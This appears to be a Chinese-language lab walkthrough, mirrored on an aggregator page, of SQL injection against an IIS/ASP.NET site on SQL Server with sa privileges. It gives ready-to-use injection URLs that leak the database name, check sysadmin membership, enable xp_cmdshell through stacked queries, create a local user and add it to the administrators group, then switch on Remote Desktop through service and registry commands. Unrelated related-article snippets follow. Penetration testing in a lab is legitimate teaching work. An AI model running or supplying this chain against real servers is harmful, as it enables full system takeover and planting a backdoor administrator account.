mssqsl靶机的sa权限sql注入-cnblog

news/2025/10/24 16:23:50/文章来源:https://www.cnblogs.com/hello422000/p/19163694
靶机系统 windows server 2025
数据库 Microsoft sql server 2022
服务器 Internet Information Services (IIS) 10

最关键的一点 在sql注入中 我们将用xp_cmdshell创建一个用户 这就要求sqlserver服务用管理员账户登录

d1

靶机页面

这个页面很明显没有参数在url 我们找一个有id参数的url 方便注入

SQL Server 中,"登录名" 和 "数据库用户" 是两个不同的概念,对应不同的层级:实例级:登录名(Login)
登录名是用于连接到 SQL Server 实例的身份标识,存在于实例的master数据库中(系统视图sys.server_principals可查看)。
作用:验证用户是否有权限连接到 SQL Server 实例(类似 "大门钥匙")。
类型包括:SQL Server 身份验证登录名(如sa)、Windows 身份验证登录名(如DOMAIN\user1)、Windows 组登录名(如BUILTIN\Administrators)等。
数据库级:数据库用户(User)
数据库用户是登录名在具体数据库中的映射,存在于每个数据库的sys.database_principals系统视图中。
作用:控制登录名在该数据库中的操作权限(类似 "房间钥匙")。
一个登录名可以在多个数据库中映射为不同的用户(也可同名),但必须显式创建(除非是sysadmin角色成员,会自动映射为dbo用户)。sa 登录名
sa是 SQL Server 身份验证的默认系统管理员,属于sysadmin服务器角色,拥有实例的全部权限(无法删除,但可禁用)。
sysadmin 服务器角色成员
sysadmin是实例级最高权限角色,任何属于该角色的登录名,都是实例级管理员。
除了sa,还可以将其他登录名(如 Windows 管理员组、自定义登录名)添加到sysadmin角色,使其拥有与sa等同的权限。
例如:默认情况下,Windows 的本地管理员组(BUILTIN\Administrators)会被添加到sysadmin角色(可手动移除)。
其他高权限服务器角色
虽然不是 "完全管理员",但部分服务器角色拥有接近管理员的权限,例如:
serveradmin:管理服务器配置(如内存、进程);
securityadmin:管理登录名和权限(可间接提升权限);
dbcreator:创建和修改数据库。
第一步 按照渗透思路 得先收集针对sql注入的相关信息 数据库类型 操作系统  中间件
我们仔细观察url中的xxser参数为数字 那么 可以试一下 加个符号 输入的数据类型不符合的话 会报错 根据报错信息再来判断一些信息http://192.168.152.129:85/1.aspx?xxser=1'  

这里看到 就是微软的iis搭建的网站 asp写的 
System.Data.SqlClient.SqlException
用报错信息网络搜索 判断出数据库是 sql server
对数据类型要求严格 不允许不同数据类型比较 利用这个进行报错注入进一步拿到更多信息
还可以用谷歌浏览器的插件  更清晰的查看

第二步 可以利用数据类型这一点报错 看下当前数据库名
http://192.168.152.129:85/1.aspx?xxser=1 and 1=(select db_name())# 
原理是让数字类型和字符有个等号 肯定报错TesTDB 拿到数据库名

第三步 看下sql server 的账户权限 没报错 即是拥有sa权限
http://192.168.152.129:85/1.aspx?xxser=1 and 1=(select IS_SRVROLEMEMBER('sysadmin'))#IS_SRVROLEMEMBER('sysadmin') 是 SQL Server 的一个系统函数,用于检查当前登录账户是否为指定服务器角色(这里是 sysadmin)的成员。
若当前账户是 sysadmin 角色成员,函数返回 1;
若不是,返回 0;
若参数无效或存在其他错误,返回 NULL。
整个表达式 1=(select ...) 的结果为 布尔值:
当当前账户是 sysadmin 时,表达式结果为 TRUE(1=1);
否则为 FALSE(1=0 或 1=NULL)

第四步 开启xp_cmdshell
xp_cmdshell 是 SQL Server 中的一个扩展存储过程,它允许系统管理员通过操作系统命令行解释器执行给定的命令字符串,并以文本行方式返回任何输出。这使得它成为一个功能非常强大的工具,尤其在需要执行系统命令时。http://192.168.152.129:85/1.aspx?xxser=1
select * from admin where id=1 and 1=(select count(*) from master.dbo.sysobjects where name='xp_cmdshell')   
注入查看xp_cmdshell是否开启 没报错就开启http://192.168.152.129:85/1.aspx?xxser=1
select * from admin where id=1 EXEC sp_configure 'show advanced options', 1;RECONFIGURE; EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE;--        
开启xp_cmdshell功能http://192.168.152.129:85/1.aspx?xxser=1;exec master..xp_cmdshell "ipconfig" --这里语句不报错 其实说明拥有权限执行
但没有效果 只能自己去靶机sql server执行下看效果

第五步 创建一个用户 权限要高点 加入用户组http://192.168.152.129:85/1.aspx?xxser=1;exec master..xp_cmdshell 'net user ttt Zj@123. /add';exec master..xp_cmdshell 'net localgroup administrators ttt /add'#      添加用户test,密码 添加test用户到管理员组  到靶机查看下 有ttt用户

第六步  开启远程功能 用新创建用户登录下http://192.168.152.129:85/1.aspx?xxser=1;exec master..xp_cmdshell 'sc config termservice start = auto' 通过sc命令(服务控制)将远程桌面服务(termservice)的启动类型设置为 “自动”,即系统启动时自动运行该服务。http://192.168.152.129:85/1.aspx?xxser=1;exec master..xp_cmdshell 'net start termservice'
立即启动远程桌面服务,使服务处于运行状态。http://192.168.152.129:85/1.aspx?xxser=1;exec master..xp_cmdshell 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f'                     
修改注册表中fDenyTSConnections键值(位于远程桌面服务相关配置路径),将其值设为0(0X0),表示允许远程桌面连接(默认1为禁止),/F参数强制覆盖现有值 允许外部连接

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/945443.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

国产9GHz宽带巴伦HT-BAL-0009SMG实测反馈——pin-to-pin替代海外料,EVM直接降4个点

国产9GHz宽带巴伦HT-BAL-0009SMG实测反馈——pin-to-pin替代海外料,EVM直接降4个点仪表实测 网络分析仪扫零点到九千兆,回波全程大于十二分贝,插损低于三点五分贝。相位平衡实测正负零点六度,幅度平衡零点一二分贝…

Python---合成视频不能正常播放的原因

在使用Python进行视频快速合并的时候,如果视频的编码格式、码率等这些不一致,就会导致合并的视频:播放异常。 提问豆包AI:结果:使用 ffmpeg 的 -c copy(流复制)模式快速拼接视频时,出现音频静音、播放速度异常…

ARM GNU 汇编中 .section 的起始终止 - ENGINEER

ARM GNU 汇编中 .section 的起始终止​​一 规则概览​每个 ​.section 指令开启一个新段,段的“起点”就是该指令出现的位置。段的“终点”是下一个 .section 指令或源文件末尾;不需要、也没有单独的“结束伪指令”…

Java使用Selenium自动化测试网盘链接是否失效

欢迎来到我的小屋1、使用依赖<dependency><groupId>org.seleniumhq.selenium</groupId><artifactId>selenium-java</artifactId><version>3.4.0</version></dependency&…

AI元人文:意识间的通讯

AI元人文:意识间的通讯 引言 当前人工智能发展面临根本性局限:大语言模型虽具备强大的知识存储和处理能力,却始终处于被动应答状态。它们能够精准回应指令,却无法主动发起对话;能够复现已有知识,却难以创造新的认…

谁在领跑AI客服赛道?2025年中国客服系统排行榜深度分析

在大模型技术全面渗透的 2025 年,AI 客服已从简单的 "问答工具" 升级为企业的 "数字服务员工",成为降本增效与体验升级的核心引擎。据行业数据显示,部署成熟 AI 客服系统的企业平均降低 40% 服…

APUE学习笔记之文件与目录(四) - Invinc

本文记录《UNIX环境高级编程》第3版中第4章文件与目录的一些知识点。本章将描述文件系统的其他特征和文件的性质。将从stat函数开始,逐个说明stat结构的每一个成员以了解文件的所有属性。本文记录《UNIX环境高级编程》…

完整教程:Django 中的元类(Metaclass)应用及生产场景示例

完整教程:Django 中的元类(Metaclass)应用及生产场景示例pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Conso…

国标GB28181算法算力平台EasyGBS智慧果园一体化监控解决方案

国标GB28181算法算力平台EasyGBS智慧果园一体化监控解决方案一、方案背景 作为世界水果生产大国,我国的果园众多,且因不同水果的不同生长需要,果园的位置大都相对偏远,管理起来较为复杂。尤其对于大型果园来说,值…

2025年新疆旅游攻略公司权威推荐榜单:旅游线路/新疆旅游/新疆禾木旅游源头公司精选

新疆作为中国旅游资源最丰富的省份之一,其壮丽的自然风光和多元的民族文化每年吸引着数千万游客。根据2024年数据,新疆全年接待游客突破2.5亿人次,但旅游市场也随之出现了一系列问题,投诉量同比上升15%,其中强制购…

深入解析:WPS文字如何合并多个文档:两种方法

pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco", "Courier New", …

线程退出未定义行为

线程退出未定义行为#include <iostream> #include <thread> #include <mutex> #include <condition_variable> #include <chrono> #include <pthread.h>std::mutex mtx; std::con…

2025年纤维布袋风管厂家权威推荐榜单:保温布袋风管/修理厂布袋风管/防火布袋风管源头厂家精选

一、 纤维布袋风管行业市场概况 纤维布袋风管作为现代通风系统中新兴且高效的送风解决方案,近年来在全球范围内市场份额持续攀升。据最新行业报告显示,预计到2029年,全球布袋风管市场规模将达到5.1亿美元,未来几年…

npm run build 报错 No module factory available for dependency type:CssDependency - ZQ

解决方法如上。感谢博客园的博主。感觉AI还是得要人去喂,而且有些广告商瞎喂,导致有些正确信息很难找到。当然是小概率情况,还是有待改进的。

VictoriaLogs 运营数据分享

VictoriaLogs 运营数据分享作者:张富春(ahfuzhang),转载时请注明作者和引用链接,谢谢!cnblogs博客 zhihu Github 公众号:一本正经的瞎扯VictoriaLogs 是一个高性能的日志存储组件。 本文分享一组 VictoriaLogs 单机…

2025 年离心风机源头厂家最新推荐榜:基于中国通用机械工业协会测评权威数据,精选优质品牌解决采购难题塑料/PP/通用/钛材离心风机公司推荐

引言 离心风机作为工业生产、隧道建设等领域的关键设备,其品质直接影响作业效率与安全。为精准筛选优质品牌,本次推荐榜依托中国通用机械工业协会2024-2025 年度离心风机行业测评数据编制,测评覆盖全国 120 余家源头…

安宝特案例丨从 “围台观摩” 到 “远程高清学”:安宝特AR远程医疗套装支撑南京医院手术带教 - 实践

安宝特案例丨从 “围台观摩” 到 “远程高清学”:安宝特AR远程医疗套装支撑南京医院手术带教 - 实践pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: bloc…

【ArcMap】把xls表格导入ArcMap属性表Table中

例:第一条线有4段 在导入xls表格之前,必须保xls表和table(属性表)的两个事项:一是行数必须相同(共4行/段),二是必须有一列完全相同(这里以BZ列为例); xls表格注意:如果是xlsx等其他类型,请另存为xls表格,…

实用指南:了解Django模型,从基础到实战

pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco", "Courier New", …

Python 轻松在 PDF 中插入页眉页脚 - E

在制作 PDF 文件时,我们常常会遇到一个问题:文件内容虽然齐全,但少了页眉页脚,显得不够专业。尤其是在生成报告、论文或合同等正式文档时,如果页面上都没有标题、页码或公司名称,不仅阅读不便,还容易造成混淆。…